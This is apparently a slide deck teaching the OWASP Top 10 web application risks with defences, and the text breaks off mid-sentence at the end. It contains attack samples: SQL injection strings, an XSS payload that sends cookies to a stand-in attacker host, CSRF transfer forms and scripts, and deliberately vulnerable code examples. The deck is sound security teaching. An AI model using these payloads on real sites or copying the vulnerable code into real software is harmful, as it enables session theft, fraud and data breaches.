SlideShare uma empresa Scribd logo
1 de 105
Web Security
 Pankaj kSharma
 rpspankaj2010@gmail.com
Open source community focusing on web application
security
OWASP Top Ten – identifies the most critical and
common risks
http://www.owasp.org/
Introduction
OWASP Top 10 Application Security Risks – 2013
OWASP Top 10 Application Security Risks – 2013
A1 Injection
Am I Vulnerable To Injection?
• Verify that your application validates all data that is passed between Java code
and native code.
• Unchecked input and/or output can lead to buffer overflows, injection based
attacks such as SQL injection, os injection, xxe injection etc., that exploit
weaknesses in the application.
How to Check ?
• Due to the security risk posed by the use of native code, verify that your
application validates data that is passed between native code and Java.
1) Check if language boundaries are clearly defined.
2) Verify the quality of your application's validators.
3) Verify that all data is validated.
4) Ensure that data validation code is centralized.
• Program with Solution –for SQL injection, os injection, xxe injection.
Example Attack Scenarios
Scenario#1: The application uses untrusted data in the construction of the following
vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that
are still vulnerable, (e.g., Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ +
request.getParameter("id") + "'");
In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or
'1'='1.
For example: http://example.com/app/accountView?id=' or '1'='1
This changes the meaning of both queries to return all the records from the accounts table.
More dangerous attacks could modify data or even invoke stored procedures.
A2 Broken Authentication and Session Management
Am I Vulnerable to Hijacking?
• Ensure that the account administration interface is separate from the main
application interface.
• Account administration requires higher privileges than the main application
interface. Separating the two interfaces decreases the risk of a normal user
being able to escalate privileges to that of an administrator.
How to Check ?
1.Verify that your application has a separate administrative interface. Review your
application's design and verify that your application's design specifies separation
of administrative and main application interfaces.
A2 Broken Authentication and Session Management
2.Administrative Functionality: Verify that all administrative functionality is clearly
identified and separated from the rest of your application's functionality. Exceptions
are allowed only when your application allows users to modify their own accounts.
3.Code Organization: Ensure all administrative functionality is structured as a single
module and not scattered throughout your application.
4.Code Inheritance: Verify that all Java classes that handle your application's
administrative tasks are declared as final. Example: public final class
myappAcctAdmin
{ ... }
5.Hosting Container: Verify that all administrative functionality operates within a Java
container or a JVM that is separate from the rest of your application. Depending on
the application server that your application uses, it might be necessary to run
multiple instances of the application server. Additionally, check if your administrative
interface operates on a different port than the rest of your application.
A2 Broken Authentication and Session Management
Ensure that the administrative interface is secure. Use the following steps to
examine the security of your application's administrative interface:
Security Policy: Ensure that your application has a security policy regarding its
administrative interface.
Separate Authentication: Verify that privileged users are forced to re-authenticate
before accessing the administrative interface. Check if your application's
administrative interface uses a separate authentication module from the rest of
your application.
Access Controls: Verify that only valid, privileged users can access your
application's administrative interface.
Connection: Depending on your application's requirements, it may be necessary to
check if your application's administrative interface is accessed over SSL. Ensure
your application's proper use of SSL.
A2 Broken Authentication and Session Management
Use the following steps when designing an administrative interface:
Only privileged users can administer all accounts. Design your application such that the
administrative module is separate from the main application interface. Since the separation
requires using separate authentication mechanisms for the application and its administration,
there is a reduced risk of escalation-of-privilege attacks.
Users may be allowed to administer their own accounts. It may be necessary to allow users
to administer their own accounts. This involves the ability to change passwords, account
details, etc. Such administration can be done through the main application interface. Because
the user is modifying sensitive data, extra security precautions must be enforced:
Session management implemented in server side code.
Force re-authentication: Enforce re-authentication when modifying the user's password. This
helps verify that the user is aware of the password change and is not a victim of a session
hijacking.
Modify accounts in sections
Use SSL when modifying accounts: If SSL is implemented correctly, it can verify the
authenticity of the application. It can also encrypt traffic and hence provide confidentiality.
Example Attack Scenarios
Scenario #1: Airline reservations application supports URL rewriting, putting
session IDs in the URL:
http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He
e-mails the above link without knowing he is also giving away his session ID. When
his friends use the link, they will use his session and credit card.
Scenario #2: Application’s timeouts aren’t set properly. User uses a public
computer to access site. Instead of selecting “logout” the user simply closes the
browser tab and walks away. Attacker uses the same browser an hour later, and
that browser is still authenticated.
Scenario #3: Insider or external attacker gains access to the system’s password
database. User passwords are not properly hashed, exposing every users’
password to the attacker.
A3 Cross-Site Scripting (XSS)
Am I Vulnerable to XSS?
What is XSS?
Misnomer:"Cross"Site"Scripting
Reality:"JavaScript"Injection"
Anatomy of a XSS Attack (bad stuff)
<script>window.location=‘https://
evileviljim.com/unc/data=‘ +
document.cookie;</script>
<script>document.body.innerHTML=‘<blink>
EOIN IS COOL</blink>’;</script>
Input Example
Consider the following URL:
www.example.com/saveComment?comment=Great+Site!
How can an attacker misuse this?
XSS Variants
REFLECTED XSS
 Data provided by a client is immediately used by server‐side scripts to generate a
page of results for that user.
 Search engines
STORED XSS
 Data provided by a client is first stored persistently on the server (e.g., in a database,
filesystem), and later displayed to users.
 Bulletin Boards, Forums, Blog Comments.
DOM XSS
 A page's client‐side script itself accesses a URL request parameter and uses this
information to dynamically write some HTML to its own page.
 DOM XSS is triggered when a victim interacts with a web page directly without
causing the page to reload.
 Difficult to test with scanners and proxy tools – why?
Reflected XSS
Reflected XSS
//Search.aspx.cs
public partial class_Default : System.Web.UI.Page
{
Label lblResults;
protected void Page_Load(object sender, EventArgs e)
{
//..doSearch();
this.lblResults.Text = "YouSearchedFor“ +
Request.QueryString["query”];
}
OK: http://app.com/Search.aspx?query=soccer
NOT OK: http://app.com/Search.aspx?query=<script?..</script>
Persistent/Stored XSS
Persistent/Stored XSS
<%
int id = Integer.parseInt(request.getParameter("id"));
String query = "select * from forum where id=" + id;
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
If (rs != null) {
rs.next ();
String comment = rs.getString (“comment");
%>
User Comment : <%= comment %>
<%
}
%>
DOM‐Based XSS
DOM-Based XSS
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos = document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
</HTML
OK: http://a.com/page.htm?name=Joe
NOT OK: http://a.com/page.htm?name=<script>...</script>
Test for Cross-Site Scripting
Test for Cross-Site Scripting
Test for Cross-Site Scripting
Past XSS Defensive Strategies
• 1990’s style XSS prevention
– Eliminate <, >, &, ", ' characters?
– Eliminate all special characters?
– Disallow user input?
– Global filter?
• Why won't these strategies work?
XSS Defense, 1990’s
#absolute-total-fail
Past XSS Defensive Strategies
• Y2K style XSS prevention
– HTML Entity Encoding
– Replace characters with their 'HTML Entity’ equivalent
– Example: replace the "<“ character with "&lt;”
• Why won't this strategy work?
XSS Defense, 2000
Why won't this strategy work?
Danger: Multiple Contexts
Browsers have multiple contexts that must be considered!
Past XSS Defensive Strategies
1. All untrusted data must first be canonicalized
– Reduced to simplest form
2. All untrusted data must be validated
– Positive Regular Expressions
– Black list Validation
3. All untrusted data must be contextually encoded
– HTML Body
– Quoted HTML Attribute
– Unquoted HTML Attribute
– Untrusted URL
– Untrusted GET parameter
– CSS style value
– JavaScript variable assignment
XSS Defense, 2007
Why won't this strategy work?
ESAPI CSS Encoder Pwnd
From: Abe [mailto: abek1 at sbcglobal.net ]
Sent: Thursday, February 12, 2009 3:56 AM
Subject: RE: ESAP and CSS vulnerability/problem
I got some bad news
CSS Pwnage Test Case
<div style="width:<%=temp3%>;"Mouseover</div>
temp3ESAPI.encoder().encodeForCSS("expression(alert
(String.fromCharCode(88,88)))");
<div style="width: expression28 alert28 String2e
fromCharCode2028882c882c88292929;“> Mouse over</div>
Pops in at least IE6 andIE7.
lists.owasp.org/pipermail/owasp-esapi /2009-February/000405.html
Simplified DOM Based XSS Defense
1.Initial loaded page should only be static content.
2.Load JSON data via AJAX.
3.Only use the following methods to populate the DOM
• Node.textContent
• document.createTextNode
• Element.setAribute
References:
http://www.educatedguesswork.org/2011/08/guest_post_adam_barth_on_th
ree.htmlandAbeKang
Dom XSS Oversimplification Danger
Element.setAttribute is one of the most dangerous JS methods
If the first element to setAttribute is any of the JavaScript event handlers or a
URL context based attribute ("src", "href", "backgroundImage", "backgound",
etc.) then pop.
References:
http://www.educatedguesswork.org/2011/08/guest_post_adam_barth_on_th
ree.html and Abe Kang
Today
<
&lt;
Safe ways to represent dangerous characters in a web
page
XSS Defense by Data Type and Context
Safe HTML attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color,
cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple,
nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary,
tabindex, title, usemap, valign, value, vlink, vspace, width
HTML Body Context
<span>UNTRUSTED DATA</span>
attack
<script>/* bad stuff */</script>
HTML Attribute Context
<input type="text“ name="fname"
value="UNTRUSTED DATA">
attack: "><script>/*bad stuff */</script>
HTTP GET Parameter Context
<a href="/site/search?value=UNTRUSTED DATA">clickme</a>
attack: "onclick="/*bad stuff */"
URL Context
<a href="UNTRUSTED URL">clickme</a>
<iframe src="UNTRUSTED URL“ />
attack: javascript:/* BAD STUFF */
Handling Untrusted URL’s
1) Validate to ensure the string is a valid URL
2) Avoid Javascript: URL’s(whitelisHTTP://or
HTTPS://URL’s)
3) Check the URL for malware
4) Encode URL in the right context of display
<a href="UNTRUSTED URL">UNTRUSTED URL</a>
CSS Value Context
<div style="width: UNTRUSTED DATA;">Selection</div>
attack: expression(/* BAD STUFF */)
JavaScript Variable Context
<script>
var currentValue='UNTRUSTED DATA’;
someFunction('UNTRUSTED DATA');
</script>
attack: ');/* BAD STUFF */
JSON Parsing Context
JSON.parse(UNTRUSTED JSON DATA)
Solving Real World XSS Problems in Java with OWASP Libraries
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
• No third party libraries or configuration necessary.
• This code was designed for high-availability/high-performance encoding
functionality.
• Simple drop-in encoding functionality
• Redesigned for performance
• More complete API (uri and uri component
• encoding, etc) in some regards.
• This is a Java 1.5 project.
• Will be the default encoder in the next revision of
• ESAPI.
• Last updated February 14, 2013 (version 1.1)
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
• HTML Sanitizer written in Java which lets you include HTML
authored by third pares in your web application while protecting
against XSS.
• This code was written with security best practices in mind, has an
extensive test suite, and has undergone adversarial security
review https://code.google.com/p/owaspjavhtmlsanitizer/
wiki/AttackReviewGroundRules.
• Very easy to use.
• It allows for simple programmatic POSITIVE policy configuration
(seebelow). No XML config.
• Actively maintained by Mike Samuel from Google's AppSecteam!
• This is code from the Caja project that was donated by Google. It is
rather high performance and low memory utilization.
Solving Real World Problems with the OWASP HTML Sanitizer
Project
OWASP JSON Sanitizer Project
https://www.owasp.org/index.php/OWASP_JSON_Sanitizer
• Given JSON-like content, converts it to valid JSON.
• This can be attached at either end of a data-pipeline to help
satisfy Postel's principle: Be conservative in what you do, be
liberal in what you accept from others.
• Applied to JSON-like content from others, it will produce
well-formed JSON that should satisfy any parser you use.
• Applied to your output before you send, it will coerce minor
mistakes in encoding and make it easier to embed your JSON
in HTML and XML.
Solving Real World Problems with the OWASP JSON
Sanitizer Project
Got future?
Context Aware Auto-Escaping
• Context-Sensitive Auto-Sanitization(CSAS) from Google
– Runs during the compilation stage of the Google
Closure Templates to add proper sanitization and runtime checks
to ensure the correct sanitization.
• Java XML Templates(JXT) from OWASP by Jeff Ichnowski
– Fast and secure XHTML-compliant context-aware auto-
encoding template language that runs on a model similar to JSP.
Auto Escaping Tradeoffs
• Developers need to write highly complaint templates.
- No “free and loose” coding like JSP
- Requires extra time but increases quality.
• These technologies often do not support complex contexts.
- Some are not context aware (really really bad).
- Some choose to let developers disable auto-escaping on a case-by-
case basis(really bad).
- Some choose to encode wrong ( bad).
- Some choose to reject the template (better).
Content Security Policy
• Anti-XSS W3C standard
• Content Security Policy latest release version
• http://www.w3.org/TR/CSP/
• Must move all inline script and style into external
scripts
• Add the X-Content-Security-Policy response header to instruct the
browser that CSP is in use
- Firefox/IE10PR: X-Content-Security-Policy
- Chrome Experimental: X-WebKit-CSP
- Content-Security-Policy-Report-Only
• Define a policy for the site regarding loading of content
Get rid of XSS, eh?
A script-src directive that doesn’t contain unsafe-inline eliminates a huge
class of cross site scripting.
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
Real world CSP in ac7on
What does this report look like?
{
"csp-‐report"=>
{
"document-‐uri"=>"hcp://localhost:3000/home",
"referrer"=>"",
"blocked-‐uri"=>"ws://localhost:35729/livereload",
"violated-‐direc7ve"=>"xhr-‐src ws://localhost.twicer.com:*"
}
}
What does this report look like?
{
"csp-‐report"=>
{
"document-‐uri"=>"http://example.com/welcome",
"referrer"=>"",
"blocked-‐uri"=>"self",
"violated-‐direc7ve"=>"inline script base restriction",
"source-‐file"=>"http://example.com/welcome",
"script-‐sample"=>"alert(1)",
"line-‐number"=>81
}
}
XSS Defense, Future?
A4 Insecure Direct Object References
Insecure Direct Object Reference is when a web application exposes an
internal implementation object to the user.
Some examples of internal implementation objects are database records,
URLs, or files.
An attacker can modify the internal implementation object in an attempt to
abuse the access controls on this object.
When the attacker does this they may have the ability to access functionality
that the developer didn't Intend to expose access to.
For instance, if the attacker notices the URL:
http://misc-security.com/file.jsp?file=report.txt
Am I Vulnerable?
The best way to find out if an application is vulnerable to insecure direct object references is
to verify that all object references have appropriate defenses. To achieve this, consider:
1.For direct references to restricted resources, does the application fail to verify the user is
authorized to access the exact resource they have requested?
2.If the reference is an indirect reference, does the mapping to the direct reference fail to
limit the values to those authorized for the current user?
• Code review of the application can quickly verify whether either approach is implemented
safely. Testing is also effective for identifying direct object references and whether they are
safe. Automated tools typically do not look for such flaws because they cannot recognize
what requires protection or what is safe or unsafe.
How Do I Prevent This?
Preventing insecure direct object references requires selecting an approach for
protecting each user accessible object (e.g., object number, filename):
1.Use per user or session indirect object references. This prevents attackers from
directly targeting unauthorized resources. For example, instead of using the
resource’s database key, a drop down list of six resources authorized for the
current user could use the numbers 1 to 6 to indicate which value the user
selected. The application has to map the per-user indirect reference back to the
actual database key on the server. OWASP’s ESAPI includes both sequential and
random access reference maps that developers can use to eliminate direct object
references.
2.Check access. Each use of a direct object reference from an untrusted source
must include an access control check to ensure the user is authorized for the
requested object.
Example Attack Scenario
The application uses unverified data in a SQL call that is accessing account
information:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in her browser to send whatever
account number she wants. If not properly verified, the attacker can access any
user’s account, instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct
A5 Security Misconfiguration
Is your application missing the proper security hardening across any part of the
application stack? Including:
1.Is any of your software out of date? This includes the OS, Web/App Server,
DBMS, applications, and all code libraries (see new A9).
2.Are any unnecessary features enabled or installed (e.g., ports, services, pages,
accounts, privileges)?
3.Are default accounts and their passwords still enabled and unchanged?
4.Does your error handling reveal stack traces or other overly informative error
messages to users?
5.Are the security settings in your development frameworks (e.g., Struts, Spring,
ASP.NET) and libraries not set to secure values?
Without a concerted, repeatable application security configuration process,
systems are at a higher risk.
How Do I Prevent This?
The primary recommendations are to establish all of the following:
1.A repeatable hardening process that makes it fast and easy to deploy another
environment that is properly locked down. Development, QA, and production
environments should all be configured identically (with different passwords used
in each environment). This process should be automated to minimize the effort
required to setup a new secure environment.
2.A process for keeping abreast of and deploying all new software updates and
patches in a timely manner to each deployed environment. This needs to include
all code libraries as well (see new A9).
3.A strong application architecture that provides effective, secure separation
between components.
4.Consider running scans and doing audits periodically to help detect future
misconfigurations or missing patches.
Example Attack Scenarios
Scenario #1: The app server admin console is automatically installed and not
removed. Default accounts aren’t changed. Attacker discovers the standard admin
pages are on your server, logs in with default passwords, and takes over.
Scenario #2: Directory listing is not disabled on your server. Attacker discovers she
can simply list directories to find any file. Attacker finds and downloads all your
compiled Java classes, which she decompiles and reverse engineers to get all your
custom code. She then finds a serious access control flaw in your application.
Scenario #3: App server configuration allows stack traces to be returned to users,
potentially exposing underlying flaws. Attackers love the extra information error
messages provide.
Scenario #4: App server comes with sample applications that are not removed
from your production server. Said sample applications have well known security
flaws attackers can use to compromise your server.
A6 Sensitive Data Exposure
Sensitive data exposure vulnerabilities can occur when an application does not adequately protect
sensitive information from being disclosed to attackers.
Am I Vulnerable to Data Exposure?
The first thing you have to determine is which data is sensitive enough to require extra protection.
For example, passwords, credit card numbers, health records, and personal information should be
protected. For all such data :
1.Is any of this data stored in clear text long term, including backups of this data?
2.Is any of this data transmitted in clear text, internally or externally? Internet traffic is especially
dangerous.
3.Are any old / weak cryptographic algorithms used?
4.Are weak crypto keys generated, or is proper key management or rotation missing?
5.Are any browser security directives or headers missing when sensitive data is provided by / sent
to the browser?
And more … For a more complete set of problems to avoid, see ASVS areas Crypto (V7), Data Prot.
(V9), and SSL (V10).
How Do I Prevent This?
How Do I Prevent This?
The full perils of unsafe cryptography, SSL usage, and data protection are well beyond the
scope of the Top 10. That said, for all sensitive data, do all of the following, at a minimum:
1.Considering the threats you plan to protect this data from (e.g., insider attack, external
user), make sure you encrypt all sensitive data at rest and in transit in a manner that
defends against these threats.
2.Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have
can’t be stolen.
3.Ensure strong standard algorithms and strong keys are used, and proper key management
is in place. Consider using FIPS 140 validated cryptographic modules.
4.Ensure passwords are stored with an algorithm specifically designed for password
protection, such as bcrypt, PBKDF2, or scrypt.
5.Disable autocomplete on forms collecting sensitive data and disable caching for pages that
contain sensitive data.
Example Attack Scenarios
Scenario #1:
An application encrypts credit card numbers in a database using automatic database
encryption. However, this means it also decrypts this data automatically when retrieved,
allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system
should have encrypted the credit card numbers using a public key, and only allowed back-end
applications to decrypt them with the private key.
Scenario #2:
A site simply doesn’t use SSL for all authenticated pages. Attacker simply monitors network
traffic (like an open wireless network), and steals the user’s session cookie. Attacker then
replays this cookie and hijacks the user’s session, accessing the user’s private data.
Scenario #3:
The password database uses unsalted hashes to store everyone’s passwords. A file upload
flaw allows an attacker to retrieve the password file. All of the unsalted hashes can be
exposed with a rainbow table of precalculated hashes.
A7 Missing Function Level Access Control
Am I Vulnerable to Forced Access?
The best way to find out if an application has failed to properly restrict function level access is
to verify every application function:
1.Does the UI show navigation to unauthorized functions?
2.Are server side authentication or authorization checks missing?
3.Are server side checks done that solely rely on information provided by the attacker?
• Using a proxy, browse your application with a privileged role. Then revisit restricted pages
using a less privileged role. If the server responses are alike, you're probably vulnerable.
Some testing proxies directly support this type of analysis.
• You can also check the access control implementation in the code. Try following a single
privileged request through the code and verifying the authorization pattern. Then search
the codebase to find where that pattern is not being followed.
• Automated tools are unlikely to find these problems.
How Do I Prevent Forced Access?
Your application should have a consistent and easy to analyze authorization
module that is invoked from all of your business functions. Frequently, such
protection is provided by one or more components external to the application
code.
1. Think about the process for managing entitlements and ensure you can
update and audit easily. Don’t hard code.
2. The enforcement mechanism(s) should deny all access by default, requiring
explicit grants to specific roles for access to every function.
3. If the function is involved in a workflow, check to make sure the conditions
are in the proper state to allow access.
NOTE: Most web applications don’t display links and buttons to unauthorized
functions, but this “presentation layer access control” doesn’t actually provide
protection. You must also implement checks in the controller or business logic.
Example Attack Scenarios
Scenario #1: The attacker simply force browses to target URLs. The following URLs
require authentication. Admin rights are also required for access to the
“admin_getappInfo” page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
If an unauthenticated user can access either page, that’s a flaw. If an
authenticated, non-admin, user is allowed to access the “admin_getappInfo” page,
this is also a flaw, and may lead the attacker to more improperly protected admin
pages.
Scenario #2: A page provides an ‘action ‘parameter to specify the function being
invoked, and different actions require different roles. If these roles aren’t enforced,
that’s a flaw.
CSRF
CSRF
Cross-site request forgery is a web application vulnerability that makes it
possible for an attacker perform actions without the awareness of the user
while the user is logged into an application.
Attackers commonly use CSRF attacks to target cloud storage, social media,
banking, and online shopping sites because of the user information and actions
available in those types of applications.
CSRF attacks are also known by a number of other names, including XSRF, "Sea
Surf", Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft
refers to this type of attack as a One-Click attack in their threat modeling process
Impacts of CSRF
Impacts of successful CSRF(exploits vary greatly based on the role of the
victim):-
1) When targeting a normal user, a successful CSRF attack can
compromise end-user data and their associated functions.
2) If the targeted end user is an administrator account, a CSRF attack
can compromise the entire Web application.
The sites that are more likely to be attacked are community
Websites(Social networking, email and all).
CSRF
This attack can happen even if the user is logged into a Website using
strong encryption (HTTPS).
EXAMPLE:- What to Do?
• Include unique tokens in HTTP requests when performing sensitive
operations to prevent Cross-Site Request Forgery (CSRF).
To include unique tokens in HTTP requests:
1. Identify sensitive operations.
2. Identify code that performs sensitive operations.
3. Choose a method for generating unique tokens.
4. Add unique tokens to HTTP requests.
5. Add token validation code.
CSRF
How does the attack work ?
• Building an exploit URL or script
• Tricking Alice into executing the action with social engineering.
• If the application was designed to primarily use GET requests to transfer
parameters and execute actions, the money transfer operation might be
reduced to a request like :
GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
CSRF
• Maria now decides to exploit this web application vulnerability using
Alice as her victim. Maria first constructs the following exploit URL which
will transfer $100,000 from Alice's account to her account. She takes the
original command URL and replaces the beneficiary name with herself,
raising the transfer amount significantly at the same time:
• http://bank.com/transfer.do?acct=MARIA&amount=100000
• The social engineering aspect of the attack tricks Alice into loading this
URL when she's logged into the bank application. This is usually done
with one of the following techniques:
• Sending an unsolicited email with HTML content
• Planting an exploit URL or script on pages that are likely to be visited by
the victim while they are also doing online banking
CSRF
• The exploit URL can be disguised as an ordinary link, encouraging the
victim to click it:
• <a
href="http://bank.com/transfer.do?acct=MARIA&amount=100000">Vie
w my Pictures!</a>
• Or as a 0x0 fake image:
• <img src="http://bank.com/transfer.do?acct=MARIA&amount=100000"
width="0" height="0" border="0">
CSRF
POST scenario
• The only difference between GET and POST attacks is how the attack is
being executed by the victim. Let's assume the bank now uses POST and
the vulnerable request looks like this:
• POST http://bank.com/transfer.do HTTP/1.1 acct=BOB&amount=100
• Such a request cannot be delivered using standard A or IMG tags, but
can be delivered using a FORM tag:
• <form action="http://bank.com/transfer.do" method="POST"> <input
type="hidden" name="acct" value="MARIA"/> <input type="hidden"
name="amount" value="100000"/> <input type="submit" value="View
my pictures"/> </form>
CSRF
Other HTTP methods
• Modern web application APIs frequently use other HTTP methods, such
as PUT or DELETE. Let's assume the vulnerable bank uses PUT that takes
a JSON block as an argument:
• PUT http://bank.com/transfer.do HTTP/1.1 { "acct":"BOB", "amount":100
} Such requests can be executed with JavaScript embedded into an
exploit page:
• <script> function put() { var x = new XMLHttpRequest();
x.open("PUT","http://bank.com/transfer.do",true);
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify('{"acct":"BOB", "amount":100}')); } </script> <body
onload="put()">
CSRF
OWASP Enterprise Security API has a very good option offering solid protection
against CSRF. CSRF is actually pretty easy to solve. OWASP ESAPI provides the
specifications to implement CSRF protection as below.
• 1. Generate new CSRF token and add it to user once on login and store user in
http session.
• This is done in the default ESAPI implementation, and it is stored as a member
variable of the User object that gets stored in the session.
• /this code is in the DefaultUser implementation of ESAPI /** This user's CSRF
token. */
• private String csrfToken = resetCSRFToken(); .public String resetCSRFToken() {
csrfToken = ESAPI.randomizer().getRandomString(8,
DefaultEncoder.CHAR_ALPHANUMERICS);
return csrfToken;
}
CSRF
• 2. On any forms or urls that should be protected, add the token as a parameter /
hidden field.
• The addCSRFToken method below should be called for any url that is going to be
rendered that needs CSRF protection. Alternatively if you are creating a form, or
have another technique of rendering URLs (like c:url), then be sure to add a
parameter or hidden field with the name "ctoken" and the value
of DefaultHTTPUtilities.getCSRFToken().
• //from HTTPUtilitiles interface final static String CSRF_TOKEN_NAME = "ctoken";
• this code is from the
• DefaultHTTPUtilities implementation in ESAPI public String addCSRFToken(String
href) {
• User user = ESAPI.authenticator().getCurrentUser();
if (user.isAnonymous()) {
return href;
}
CSRF
• if there are already parameters append with &, otherwise append with ? String token
= CSRF_TOKEN_NAME + "=" + user.getCSRFToken();
return href.indexOf( '?') != -1 ? href + "&" + token : href + "?" + token;
}
public String getCSRFToken() {
User user = ESAPI.authenticator().getCurrentUser(); if (user == null) return null;
return user.getCSRFToken();
}
3. On the server side for those protected actions, check that the submitted token
matches the token from the user object in the session.
• Ensure that you call this method from your servlet or spring action or jsf controller, or
whatever server side mechanism you're using to handle requests. This should be
called on any request that you need to validate for CSRF protection. Notice that when
the tokens do not match, it's considered a possible forged request.
CSRF
//this code is from the DefaultHTTPUtilities implementation in ESAPI
public void verifyCSRFToken(HttpServletRequest request) throws
IntrusionException { User user = ESAPI.authenticator().getCurrentUser(); //
check if user authenticated with this request - no CSRF protection required
if( request.getAttribute(user.getCSRFToken()) != null ) { return; }
String token = request.getParameter(CSRF_TOKEN_NAME);
if ( !user.getCSRFToken().equals( token ) )
{
throw new IntrusionException("Authentication failed", "Possibly forged
HTTP request without proper CSRF token detected");
} }
CSRF
• On logout and session timeout, the user object is removed from the session
and the session destroyed.
• In this step, logout is called. When that happens, note that the session is
invalidated and the current user object is reset to be an anonymous user,
thereby removing the reference to the current user and accordingly the csrf
token.
• //this code is in the DefaultUser implementation of ESAPI public void logout() {
ESAPI.httpUtilities().killCookie( ESAPI.currentRequest(), ESAPI.currentResponse(),
HTTPUtilities.REMEMBER_TOKEN_COOKIE_NAME ); HttpSession session =
ESAPI.currentRequest().getSession(false); if (session != null) {
removeSession(session); session.invalidate(); }
ESAPI.httpUtilities().killCookie(ESAPI.currentRequest(), ESAPI.currentResponse(),
"JSESSIONID"); loggedIn = false; logger.info(Logger.SECURITY_SUCCESS, "Logout
successful" ); ESAPI.authenticator().setCurrentUser(User.ANONYMOUS); }
Example Attack Scenario
The application allows a user to submit a state changing request that does
not include anything secret.
For example:
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
So, the attacker constructs a request that will transfer money from
the victim’s account to the attacker’s account, and then embeds this
attack in an image request or iframe stored on various sites under the
attacker’s control:
If the victim visits any of the attacker’s sites while already
authenticated to example.com, these forged requests will automatically
include the user’s session info, authorizing the attacker’s request.
A9 Using Components with Known Vulnerabilities
Am I Vulnerable to Known Vulns?
• In theory, it ought to be easy to figure out if you are currently using any
vulnerable components or libraries. Unfortunately, vulnerability reports for
commercial or open source software do not always specify exactly which
versions of a component are vulnerable in a standard, searchable way. Further,
not all libraries use an understandable version numbering system. Worst of all,
not all vulnerabilities are reported to a central clearinghouse that is easy to
search, although sites like CVE and NVD are becoming easier to search.
• Determining if you are vulnerable requires searching these databases, as well as
keeping abreast of project mailing lists and announcements for anything that
might be a vulnerability. If one of your components does have a vulnerability,
you should carefully evaluate whether you are actually vulnerable by checking to
see if your code uses the part of the component with the vulnerability and
whether the flaw could result in an impact you care about.
How Do I Prevent This?
How Do I Prevent This?
One option is not to use components that you didn’t write. But that’s not very realistic.
Most component projects do not create vulnerability patches for old versions. Instead, most
simply fix the problem in the next version. So upgrading to these new versions is critical.
Software projects should have a process in place to:
1.Identify all components and the versions you are using, including all dependencies. (e.g.,
the versions plugin).
2. Monitor the security of these components in public databases, project mailing lists, and
security mailing lists, and keep them up to date.
3.Establish security policies governing component use, such as requiring certain software
development practices, passing security tests, and acceptable licenses.
4.Where appropriate, consider adding security wrappers around components to disable
unused functionality and/ or secure weak or vulnerable aspects of the component.
Example Attack Scenarios
Component vulnerabilities can cause almost any type of risk imaginable, ranging
from the trivial to sophisticated malware designed to target a specific organization.
Components almost always run with the full privilege of the application, so flaws in any
component can be serious, The following two vulnerable components were downloaded 22m
times in 2011.
Apache CXF Authentication Bypass – By failing to provide an identity token, attackers
could invoke any web service with full permission. (Apache CXF is a services framework, not
to be confused with the Apache Application Server.)
Spring Remote Code Execution – Abuse of the Expression Language implementation
in Spring allowed attackers to execute arbitrary code, effectively taking over the server.
Every application using either of these vulnerable libraries is vulnerable to attack as
both of these components are directly accessible by application users. Other vulnerable
libraries, used deeper in an application, may be harder to exploit.
A10 Invalidated Redirects and Forwards
Am I Vulnerable to Redirection?
1. Review the code for all uses of redirect or forward (called a transfer in .NET).
For each use, identify if the target URL is included in any parameter values. If
so, if the target URL isn’t validated against a whitelist, you are vulnerable.
2. Also, spider the site to see if it generates any redirects (HTTP response codes
300-307, typically 302). Look at the parameters supplied prior to the redirect
to see if they appear to be a target URL or a piece of such a URL. If so, change
the URL target and observe whether the site redirects to the new target.
3. If code is unavailable, check all parameters to see if they look like part of a
redirect or forward URL destination and test those that do.
A10 Invalidated Redirects and Forwards
How Do I Prevent This?
Safe use of redirects and forwards can be done in a number of ways:
1.Simply avoid using redirects and forwards.
2.If used, don’t involve user parameters in calculating the destination. This can
usually be done.
3.If destination parameters can’t be avoided, ensure that the supplied value is
valid, and authorized for the user. It is recommended that any such destination
parameters be a mapping value, rather than the actual URL or portion of the
URL, and that server side code translate this mapping to the target URL.
Applications can use ESAPI to override the sendRedirect() method to make sure
all redirect destinations are safe.
Avoiding such flaws is extremely important as they are a favorite target of
phishers trying to gain the user’s trust.
Example Attack Scenarios Scenario
1.The application has a page called “redirect.jsp” which takes a single parameter
named “url”. The attacker crafts a malicious URL that redirects users to a
malicious site that performs phishing and installs malware.
http://www.example.com/redirect.jsp?url=evil.com Scenario.
2.The application uses forwards to route requests between different parts of the
